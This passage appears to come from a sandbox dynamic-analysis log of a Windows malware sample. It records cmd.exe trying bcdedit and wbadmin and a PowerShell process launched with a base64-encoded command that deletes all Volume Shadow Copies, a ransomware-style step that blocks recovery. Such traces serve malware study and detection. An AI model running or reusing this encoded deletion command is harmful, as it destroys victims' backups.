Size=0x76) returned 0x686fe8 [0213.788] GetProcessHeap () returned 0x680000 [0213.788] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x686fe8) returned 0x76 [0213.788] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0213.789] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x1cf150, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf150) returned 0xffffffff [0213.789] GetLastError () returned 0x2 [0213.789] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0213.789] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x1cf150, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf150) returned 0xffffffff [0213.789] GetLastError () returned 0x2 [0213.789] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0213.790] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x1cf150, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf150) returned 0xffffffff [0213.790] GetLastError () returned 0x2 [0213.790] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0213.790] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x1cf150, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf150) returned 0xffffffff [0213.790] GetLastError () returned 0x2 [0213.790] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0213.790] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x1cf150, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf150) returned 0xffffffff [0213.791] GetLastError () returned 0x2 [0213.791] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0213.791] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x1cf150, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf150) returned 0xffffffff [0213.791] GetLastError () returned 0x2 [0213.791] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0213.791] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x1cf150, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf150) returned 0xffffffff [0213.791] GetLastError () returned 0x2 [0213.791] ??_V@YAXPAX@Z () returned 0x1 [0213.791] _get_osfhandle (_FileHandle=2) returned 0x94 [0213.791] GetFileType (hFile=0x94) returned 0x2 [0213.791] GetStdHandle (nStdHandle=0xfffffff4) returned 0x94 [0213.792] GetConsoleMode (in: hConsoleHandle=0x94, lpMode=0x1cf59c | out: lpMode=0x1cf59c) returned 1 [0213.961] _get_osfhandle (_FileHandle=2) returned 0x94 [0213.961] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x94, lpConsoleScreenBufferInfo=0x1cf5ec | out: lpConsoleScreenBufferInfo=0x1cf5ec) returned 1 [0214.051] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0xaab990, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0214.051] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0xaab990, nSize=0x2000, Arguments=0x1cf61c | out: lpBuffer="'bcdedit' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0214.051] WriteConsoleW (in: hConsoleOutput=0x94, lpBuffer=0xaab990*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x1cf5d0, lpReserved=0x0 | out: lpBuffer=0xaab990*, lpNumberOfCharsWritten=0x1cf5d0*=0x62) returned 1 [0214.083] ??_V@YAXPAX@Z () returned 0x1 [0214.083] GetConsoleTitleW (in: lpConsoleTitle=0x1cfae0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0214.390] malloc (_Size=0xffce) returned 0x892718 [0214.390] ??_V@YAXPAX@Z () returned 0x1cf86c [0214.390] malloc (_Size=0xffce) returned 0x8a26f0 [0214.390] ??_V@YAXPAX@Z () returned 0x1cf624 [0214.390] _wcsicmp (_String1="wbadmin", _String2="DIR") returned 19 [0214.390] _wcsicmp (_String1="wbadmin", _String2="ERASE") returned 18 [0214.391] _wcsicmp (_String1="wbadmin", _String2="DEL") returned 19 [0214.391] _wcsicmp (_String1="wbadmin", _String2="TYPE") returned 3 [0214.391] _wcsicmp (_String1="wbadmin", _String2="COPY") returned 20 [0214.391] _wcsicmp (_String1="wbadmin", _String2="CD") returned 20 [0214.391] _wcsicmp (_String1="wbadmin", _String2="CHDIR") returned 20 [0214.391] _wcsicmp (_String1="wbadmin", _String2="RENAME") returned 5 [0214.391] _wcsicmp (_String1="wbadmin", _String2="REN") returned 5 [0214.391] _wcsicmp (_String1="wbadmin", _String2="ECHO") returned 18 [0214.391] _wcsicmp (_String1="wbadmin", _String2="SET") returned 4 [0214.391] _wcsicmp (_String1="wbadmin", _String2="PAUSE") returned 7 [0214.391] _wcsicmp (_String1="wbadmin", _String2="DATE") returned 19 [0214.391] _wcsicmp (_String1="wbadmin", _String2="TIME") returned 3 [0214.391] _wcsicmp (_String1="wbadmin", _String2="PROMPT") returned 7 [0214.391] _wcsicmp (_String1="wbadmin", _String2="MD") returned 10 [0214.391] _wcsicmp (_String1="wbadmin", _String2="MKDIR") returned 10 [0214.391] _wcsicmp (_String1="wbadmin", _String2="RD") returned 5 [0214.391] _wcsicmp (_String1="wbadmin", _String2="RMDIR") returned 5 [0214.391] _wcsicmp (_String1="wbadmin", _String2="PATH") returned 7 [0214.391] _wcsicmp (_String1="wbadmin", _String2="GOTO") returned 16 [0214.391] _wcsicmp (_String1="wbadmin", _String2="SHIFT") returned 4 [0214.391] _wcsicmp (_String1="wbadmin", _String2="CLS") returned 20 [0214.391] _wcsicmp (_String1="wbadmin", _String2="CALL") returned 20 [0214.391] _wcsicmp (_String1="wbadmin", _String2="VERIFY") returned 1 [0214.391] _wcsicmp (_String1="wbadmin", _String2="VER") returned 1 [0214.391] _wcsicmp (_String1="wbadmin", _String2="VOL") returned 1 [0214.391] _wcsicmp (_String1="wbadmin", _String2="EXIT") returned 18 [0214.391] _wcsicmp (_String1="wbadmin", _String2="SETLOCAL") returned 4 [0214.391] _wcsicmp (_String1="wbadmin", _String2="ENDLOCAL") returned 18 [0214.391] _wcsicmp (_String1="wbadmin", _String2="TITLE") returned 3 [0214.392] _wcsicmp (_String1="wbadmin", _String2="START") returned 4 [0214.392] _wcsicmp (_String1="wbadmin", _String2="DPATH") returned 19 [0214.392] _wcsicmp (_String1="wbadmin", _String2="KEYS") returned 12 [0214.392] _wcsicmp (_String1="wbadmin", _String2="MOVE") returned 10 [0214.392] _wcsicmp (_String1="wbadmin", _String2="PUSHD") returned 7 [0214.392] _wcsicmp (_String1="wbadmin", _String2="POPD") returned 7 [0214.392] _wcsicmp (_String1="wbadmin", _String2="ASSOC") returned 22 [0214.392] _wcsicmp (_String1="wbadmin", _String2="FTYPE") returned 17 [0214.392] _wcsicmp (_String1="wbadmin", _String2="BREAK") returned 21 [0214.392] _wcsicmp (_String1="wbadmin", _String2="COLOR") returned 20 [0214.392] _wcsicmp (_String1="wbadmin", _String2="MKLINK") returned 10 [0214.392] _wcsicmp (_String1="wbadmin", _String2="DIR") returned 19 [0214.392] _wcsicmp (_String1="wbadmin", _String2="ERASE") returned 18 [0214.392] _wcsicmp (_String1="wbadmin", _String2="DEL") returned 19 [0214.392] _wcsicmp (_String1="wbadmin", _String2="TYPE") returned 3 [0214.392] _wcsicmp (_String1="wbadmin", _String2="COPY") returned 20 [0214.392] _wcsicmp (_String1="wbadmin", _String2="CD") returned 20 [0214.392] _wcsicmp (_String1="wbadmin", _String2="CHDIR") returned 20 [0214.392] _wcsicmp (_String1="wbadmin", _String2="RENAME") returned 5 [0214.392] _wcsicmp (_String1="wbadmin", _String2="REN") returned 5 [0214.392] _wcsicmp (_String1="wbadmin", _String2="ECHO") returned 18 [0214.392] _wcsicmp (_String1="wbadmin", _String2="SET") returned 4 [0214.392] _wcsicmp (_String1="wbadmin", _String2="PAUSE") returned 7 [0214.392] _wcsicmp (_String1="wbadmin", _String2="DATE") returned 19 [0214.392] _wcsicmp (_String1="wbadmin", _String2="TIME") returned 3 [0214.392] _wcsicmp (_String1="wbadmin", _String2="PROMPT") returned 7 [0214.392] _wcsicmp (_String1="wbadmin", _String2="MD") returned 10 [0214.392] _wcsicmp (_String1="wbadmin", _String2="MKDIR") returned 10 [0214.393] _wcsicmp (_String1="wbadmin", _String2="RD") returned 5 [0214.393] _wcsicmp (_String1="wbadmin", _String2="RMDIR") returned 5 [0214.393] _wcsicmp (_String1="wbadmin", _String2="PATH") returned 7 [0214.393] _wcsicmp (_String1="wbadmin", _String2="GOTO") returned 16 [0214.393] _wcsicmp (_String1="wbadmin", _String2="SHIFT") returned 4 [0214.393] _wcsicmp (_String1="wbadmin", _String2="CLS") returned 20 [0214.393] _wcsicmp (_String1="wbadmin", _String2="CALL") returned 20 [0214.393] _wcsicmp (_String1="wbadmin", _String2="VERIFY") returned 1 [0214.393] _wcsicmp (_String1="wbadmin", _String2="VER") returned 1 [0214.393] _wcsicmp (_String1="wbadmin", _String2="VOL") returned 1 [0214.393] _wcsicmp (_String1="wbadmin", _String2="EXIT") returned 18 [0214.393] _wcsicmp (_String1="wbadmin", _String2="SETLOCAL") returned 4 [0214.393] _wcsicmp (_String1="wbadmin", _String2="ENDLOCAL") returned 18 [0214.393] _wcsicmp (_String1="wbadmin", _String2="TITLE") returned 3 [0214.393] _wcsicmp (_String1="wbadmin", _String2="START") returned 4 [0214.393] _wcsicmp (_String1="wbadmin", _String2="DPATH") returned 19 [0214.393] _wcsicmp (_String1="wbadmin", _String2="KEYS") returned 12 [0214.393] _wcsicmp (_String1="wbadmin", _String2="MOVE") returned 10 [0214.393] _wcsicmp (_String1="wbadmin", _String2="PUSHD") returned 7 [0214.393] _wcsicmp (_String1="wbadmin", _String2="POPD") returned 7 [0214.393] _wcsicmp (_String1="wbadmin", _String2="ASSOC") returned 22 [0214.393] _wcsicmp (_String1="wbadmin", _String2="FTYPE") returned 17 [0214.393] _wcsicmp (_String1="wbadmin", _String2="BREAK") returned 21 [0214.393] _wcsicmp (_String1="wbadmin", _String2="COLOR") returned 20 [0214.393] _wcsicmp (_String1="wbadmin", _String2="MKLINK") returned 10 [0214.393] _wcsicmp (_String1="wbadmin", _String2="FOR") returned 17 [0214.393] _wcsicmp (_String1="wbadmin", _String2="IF") returned 14 [0214.393] _wcsicmp (_String1="wbadmin", _String2="REM") returned 5 [0214.394] ??_V@YAXPAX@Z () returned 0x1 [0214.394] GetProcessHeap () returned 0x680000 [0214.394] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xffd6) returned 0x6c9b40 [0214.394] GetProcessHeap () returned 0x680000 [0214.394] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x46) returned 0x681510 [0214.394] _wcsnicmp (_String1="wbad", _String2="cmd ", _MaxCount=0x4) returned 20 [0214.394] malloc (_Size=0xffce) returned 0x8a26f0 [0214.394] ??_V@YAXPAX@Z () returned 0x1cf3a4 [0214.394] GetProcessHeap () returned 0x680000 [0214.394] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1ffa4) returned 0x6d9b20 [0214.395] SetErrorMode (uMode=0x0) returned 0x0 [0214.395] SetErrorMode (uMode=0x1) returned 0x0 [0214.395] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x6d9b28, lpFilePart=0x1cf3c4 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x1cf3c4*="Desktop") returned 0x17 [0214.395] SetErrorMode (uMode=0x0) returned 0x1 [0214.395] GetProcessHeap () returned 0x680000 [0214.395] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x6d9b20, Size=0x48) returned 0x6d9b20 [0214.395] GetProcessHeap () returned 0x680000 [0214.395] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x6d9b20) returned 0x48 [0214.395] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xa9f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0214.395] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0214.395] GetProcessHeap () returned 0x680000 [0214.395] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1b4) returned 0x687068 [0214.395] GetProcessHeap () returned 0x680000 [0214.395] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x360) returned 0x687228 [0214.395] GetProcessHeap () returned 0x680000 [0214.395] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x687228, Size=0x1b6) returned 0x687228 [0214.396] GetProcessHeap () returned 0x680000 [0214.396] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x687228) returned 0x1b6 [0214.396] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xa9f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0214.396] GetProcessHeap () returned 0x680000 [0214.396] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0xe0) returned 0x6873e8 [0214.396] GetProcessHeap () returned 0x680000 [0214.396] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x6873e8, Size=0x76) returned 0x6873e8 [0214.396] GetProcessHeap () returned 0x680000 [0214.396] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x6873e8) returned 0x76 [0214.396] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0214.396] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x1cf150, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf150) returned 0xffffffff [0214.397] GetLastError () returned 0x2 [0214.397] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0214.397] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x1cf150, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf150) returned 0xffffffff [0214.397] GetLastError () returned 0x2 [0214.397] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0214.397] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x1cf150, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf150) returned 0xffffffff [0214.397] GetLastError () returned 0x2 [0214.397] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0214.397] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x1cf150, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf150) returned 0xffffffff [0214.398] GetLastError () returned 0x2 [0214.398] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0214.398] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x1cf150, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf150) returned 0xffffffff [0214.398] GetLastError () returned 0x2 [0214.398] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0214.398] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x1cf150, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf150) returned 0xffffffff [0214.398] GetLastError () returned 0x2 [0214.398] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0214.398] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x1cf150, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf150) returned 0xffffffff [0214.399] GetLastError () returned 0x2 [0214.399] ??_V@YAXPAX@Z () returned 0x1 [0214.399] _get_osfhandle (_FileHandle=2) returned 0x94 [0214.399] GetFileType (hFile=0x94) returned 0x2 [0214.399] GetStdHandle (nStdHandle=0xfffffff4) returned 0x94 [0214.399] GetConsoleMode (in: hConsoleHandle=0x94, lpMode=0x1cf59c | out: lpMode=0x1cf59c) returned 1 [0214.808] _get_osfhandle (_FileHandle=2) returned 0x94 [0214.808] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x94, lpConsoleScreenBufferInfo=0x1cf5ec | out: lpConsoleScreenBufferInfo=0x1cf5ec) returned 1 [0215.133] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0xaab990, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0215.133] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0xaab990, nSize=0x2000, Arguments=0x1cf61c | out: lpBuffer="'wbadmin' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0215.133] WriteConsoleW (in: hConsoleOutput=0x94, lpBuffer=0xaab990*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x1cf5d0, lpReserved=0x0 | out: lpBuffer=0xaab990*, lpNumberOfCharsWritten=0x1cf5d0*=0x62) returned 1 [0215.442] ??_V@YAXPAX@Z () returned 0x1 [0215.442] _get_osfhandle (_FileHandle=1) returned 0x90 [0215.442] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1 [0215.799] _get_osfhandle (_FileHandle=1) returned 0x90 [0215.799] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xaa3890 | out: lpMode=0xaa3890) returned 1 [0216.003] _get_osfhandle (_FileHandle=1) returned 0x90 [0216.003] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1 [0216.423] _get_osfhandle (_FileHandle=0) returned 0x8c [0216.423] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xaa3894 | out: lpMode=0xaa3894) returned 1 [0216.813] _get_osfhandle (_FileHandle=0) returned 0x8c [0216.814] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1 [0217.098] SetConsoleInputExeNameW () returned 0x1 [0217.098] GetConsoleOutputCP () returned 0x1b5 [0217.198] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xaa3850 | out: lpCPInfo=0xaa3850) returned 1 [0217.199] SetThreadUILanguage (LangId=0x0) returned 0x250409 [0217.406] exit (_Code=1) [0217.406] ??_V@YAXPAX@Z () returned 0x1 Thread: id = 48 os_tid = 0x1008 Process: id = "8" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x1f354000" os_pid = "0x4f0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0xf74" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 36 os_tid = 0x7e4 Thread: id = 37 os_tid = 0x778 Thread: id = 39 os_tid = 0x388 Thread: id = 44 os_tid = 0xf44 Thread: id = 46 os_tid = 0x1014 Process: id = "9" image_name = "powershell.exe" filename = "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x1f0d4000" os_pid = "0x9d0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xac0" cmd_line = "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 38 os_tid = 0xcd0 [0172.679] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0172.683] RoInitialize () returned 0x1 [0172.683] RoUninitialize () returned 0x0 [0175.071] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0175.073] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0184.829] SysStringByteLen (bstr="-e") returned 0x4 [0184.829] SysStringByteLen (bstr="-e") returned 0x4 [0184.830] SysStringByteLen (bstr="RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==") returned 0x150 [0184.830] SysStringByteLen (bstr="RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==") returned 0x150 [0190.390] WindowsCreateStringReference () returned 0x0 [0190.391] RoGetActivationFactory () returned 0x0 [0190.401] QueryInterface () returned 0x0 [0190.402] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0190.402] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0190.402] QueryInterface () returned 0x0 [0190.402] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::GetRuntimeClassName () returned 0x8000000e [0190.402] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x3 [0190.402] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::AddRef () returned 0x4 [0190.402] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0190.402] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x0 [0190.402] Release () returned 0x4 [0190.402] CoGetContextToken (in: pToken=0x103d4c0 | out: pToken=0x103d4c0) returned 0x0 [0190.403] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0190.403] CoGetContextToken (in: pToken=0x103d7d0 | out: pToken=0x103d7d0) returned 0x0 [0190.403] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x0 [0190.403] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x4 [0190.403] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x3 [0190.403] WindowsDeleteString () returned 0x0 [0190.404] Release () returned 0x2 [0190.404] CoGetContextToken (in: pToken=0x103df48 | out: pToken=0x103df48) returned 0x0 [0190.472] CoGetContextToken (in: pToken=0x103dea8 | out: pToken=0x103dea8) returned 0x0 [0190.472] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x0 [0190.472] AddRef () returned 0x4 [0190.472] Release () returned 0x3 [0190.567] IIDFromString (in: lpsz="{410B7711-FF3B-477F-9C9A-D2EFDA302DC3}", lpiid=0x103d5e0 | out: lpiid=0x103d5e0) returned 0x0 [0190.568] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::add_TracingStatusChanged () returned 0x0 [0199.735] GenericStreamBase::Write () returned 0x0 [0199.736] GenericStreamBase::Write () returned 0x0 [0199.737] CoCreateGuid (in: pguid=0x733247a8 | out: pguid=0x733247a8*(Data1=0xa35f568e, Data2=0xe06b, Data3=0x4714, Data4=([0]=0xbf, [1]=0x49, [2]=0x7f, [3]=0x66, [4]=0x21, [5]=0xc7, [6]=0x5b, [7]=0xaa))) returned 0x0 [0199.737] GenericStreamBase::Write () returned 0x0 [0199.741] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x0 [0199.741] CExtensionCatalog::AddRef () returned 0x3 [0199.741] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x80004002 [0199.741] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x0 [0199.741] Release () returned 0x3 [0199.741] CoGetContextToken (in: pToken=0x103d398 | out: pToken=0x103d398) returned 0x0 [0199.741] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x80004002 [0199.825] WindowsCreateString () returned 0x0 [0199.826] CExtensionCatalog::AddRef () returned 0x4 [0199.826] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::Release () returned 0x3 [0199.827] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::get_Enabled () returned 0x0 [0199.889] EtwEventRegister (in: ProviderId=0x5045c78, EnableCallback=0x7242bc6, CallbackContext=0x0, RegHandle=0x5045c54 | out: RegHandle=0x5045c54) returned 0x0 [0199.977] EtwEventRegister (in: ProviderId=0x504637c, EnableCallback=0x7242bee, CallbackContext=0x0, RegHandle=0x5046358 | out: RegHandle=0x5046358) returned 0x0 [0199.978] EtwEventSetInformation (RegHandle=0x11890f8, InformationClass=0x2d, EventInformation=0x2, InformationLength=0x504631c) returned 0x0 [0200.341] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x103e8d4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x103e8d4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0200.363] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x103e8d4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x103e8d4*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x2d, [1]=0x52, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0200.364] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x103e884*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, 